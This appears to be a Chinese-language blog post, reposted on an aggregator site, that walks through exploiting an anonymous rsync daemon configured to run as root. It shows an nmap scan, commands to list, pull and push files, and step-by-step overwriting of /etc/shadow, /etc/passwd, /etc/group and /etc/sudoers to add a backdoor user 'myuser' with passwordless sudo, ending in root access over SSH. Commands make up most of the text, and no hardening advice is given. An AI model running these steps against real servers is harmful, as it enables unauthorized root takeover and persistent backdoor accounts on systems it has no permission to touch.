rsync命令_浅谈利用rsync服务的攻击
????????本文將根據針對Linux操作系統上不安全的Rsync配置,淺談如何利用rsync服務進行攻擊。
1、什么是RSYNC?
Rsync是用于在兩個服務器(通常是Linux)之間傳輸和同步文件的實用程序。它通過檢查文件大小和時間戳來確定同步。根據經驗發現,在進行滲透測試期間,發現約有三分之一的服務器并沒有安全配置Rsync。然而,弱配置通常會導致服務器上的敏感數據未經授權訪問,甚至還會讓攻擊者活動webshell。????????遠程訪問通過Rsync共享的目錄需要兩件事,文件共享訪問和文件權限。
Rsync的配置方式如下:
??????? 1. 可以在/etc/Rsyncd.conf中定義“?文件共享訪問”,?以提供匿名或經過身份驗證的訪問。
?2.還可以通過定義rsync服務將以其身份運行的用戶,在/etc/rsyncd.conf中定義文件訪問權限。如果將rsync配置為以root用戶身份運行,則允許連接的任何人都可以使用root用戶的特權來訪問共享文件。rsyncd.conf文件的示例,該文件允許匿名root用戶訪問整個文件系統:
motd file = /etc/Rsyncd.motdlock file = /var/run/Rsync.locklog file = /var/log/Rsyncd.logpid file = /var/run/Rsyncd.pid[files]path = /comment = Remote file share.uid = 0gid = 0read only = nolist = yes2、對目標站點進行nmap掃描rsync服務
??????? rsync服務默認在873端口監聽。通過nmap發現開啟rsync服務
nmap 10.10.10.134
列舉目錄和文件
列舉目錄 rsync 10.10.10.134 列舉子目錄內容 rsync 10.10.10.134::files 遞歸列出目錄和文件 rsync -r 10.10.10.134::files/tmp/ 下載文件夾 rsync -r 10.10.10.134::files/home/test/ 通過RSYNC上傳文件 使用Rsync上傳文件的命令。。 上傳文件 rsync ./myfile.txt 10.10.10.134::files/home/test 上載文件夾 rsync -r ./myfolder 10.10.10.134::files/home/test 通過Rsync創建新用戶????????如果rsync配置為以root身份運行并且可以匿名訪問,則可以通過直接修改shadow,passwd,group和sudoers文件來創建新的特權Linux用戶。
注意:相同的通用方法可用于提供對操作系統的完全寫入訪問權限的任何漏洞。其他一些示例包括NFS導出和上載以root用戶身份運行的Web Shell。
通過rsync創建新用戶
????創建主目錄讓我們從創建新用戶的主目錄開始。
# Create local work directoriesmkdir demomkdir backupcd demo # Create new user’s home directorymkdir ./myuserrsync -r ./myuser 10.10.10.134::files/homeshadow文件
/etc /shadow文件是Linux密碼文件,其中包含用戶信息,例如主目錄和加密密碼。它只能由root訪問。
要通過rsync注入新的用戶,必須:
??? 1. 生成密碼。
??? 2. 下載/ etc / shadow。(備份)
????3.?將新用戶追加到/ etc /shadow的末尾
????4.?上傳/覆蓋現有的/ etc /shadow
????注意:確保創建系統上新用戶。?
創建加密密碼:
openssl passwd -crypt password123將新用戶條目添加到/ etc / shadow:rsync -R 10.10.10.134::files/etc/shadow .cp ./etc/shadow ../backupecho "myuser:MjHKz4C0Z0VCI:17861:0:99999:7:::" >> ./etc/shadowrsync?./etc/shadow?10.10.10.134::files/etc/passwd文件
/ etc / passwd文件用于跟蹤有權訪問系統的注冊用戶。它不包含加密的密碼。所有用戶都可以閱讀。
要通過rsync注入新的用戶條目,您必須:
??? 1. 創建要注入的用戶條目。
??? 2. 下載/ etc / passwd。(并備份它,以便以后可以恢復狀態)
??? 3. 將新用戶條目追加到passwd的末尾。
????4.?上傳/覆蓋現有的/ etc / passwd
注意:可以隨意更改為uid,但請確保它與/ etc / group文件中設置的值匹配。在這種情況下,UID / GUID為1021。
將新用戶條目添加到/ etc / passwd:rsync -R 10.10.10.134::files/etc/passwd .cp ./etc/passwd ../backupecho "myuser:x:1021:1021::/home/myuser:/bin/bash" >> ./etc/passwdrsync ./etc/passwd 10.10.10.134::files/etc/將新用戶添加到用戶組當中
/ etc / group文件用于跟蹤系統上已注冊的組信息。它不包含加密的密碼。所有用戶都可以閱讀。
要通過rsync注入新的用戶條目,您必須:
1. 創建要注入的用戶條目。
2. 下載/ etc / group。(和備份,以防萬一)
3. 將新用戶條目追加到組末尾。
4. 上傳/覆蓋現有的/ etc / group文件。
注意:可以隨意更改為uid,但請確保它與/ etc / passwd文件中設置的值匹配。在這種情況下,UID / GUID為1021。將新用戶條目添加到/ etc / group:
rsync -R 10.10.10.134::files/etc/group .cp ./etc/group ../backupecho "myuser:x:1021:" >> ./etc/grouprsync ./etc/group 10.10.10.134::files/etc/創建sudoers
文件目錄/ etc / sudoers文件包含允許使用sudo命令以root用戶身份運行命令的用戶列表。它只能由root讀取。我們將對其進行修改,以允許新用戶通過sudo執行任何命令。
要通過rsync注入條目,前提條件:
??? 1. 創建要注入的用戶條目。
??? 2. 下載/ etc / sudoers。(和備份,以防萬一)
??? 3. 將新用戶條目追加到sudoers的末尾。
??? 4. 上傳/覆蓋現有的/ etc / sudoers文件。
將新用戶條目添加到/ etc / sudoers:
rsync -R 10.10.10.134::files/etc/sudoers .cp ./etc/sudoers ../backupecho "myuser ALL=(ALL) NOPASSWD:ALL" >> ./etc/sudoers rsync ./etc/sudoers 192.168.1.171::files/etc/然后,只需使用新創建的用戶通過SSH連接,執行sudo root就完成了。
手握日月摘星辰,安全路上永不止步。
???????????????????????????????????????????????????- Khan攻防安全實驗室
總結
以上是生活随笔為你收集整理的rsync命令_浅谈利用rsync服务的攻击的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: sql 相加_SQL多表查询
- 下一篇: 此项目与visual studio的当前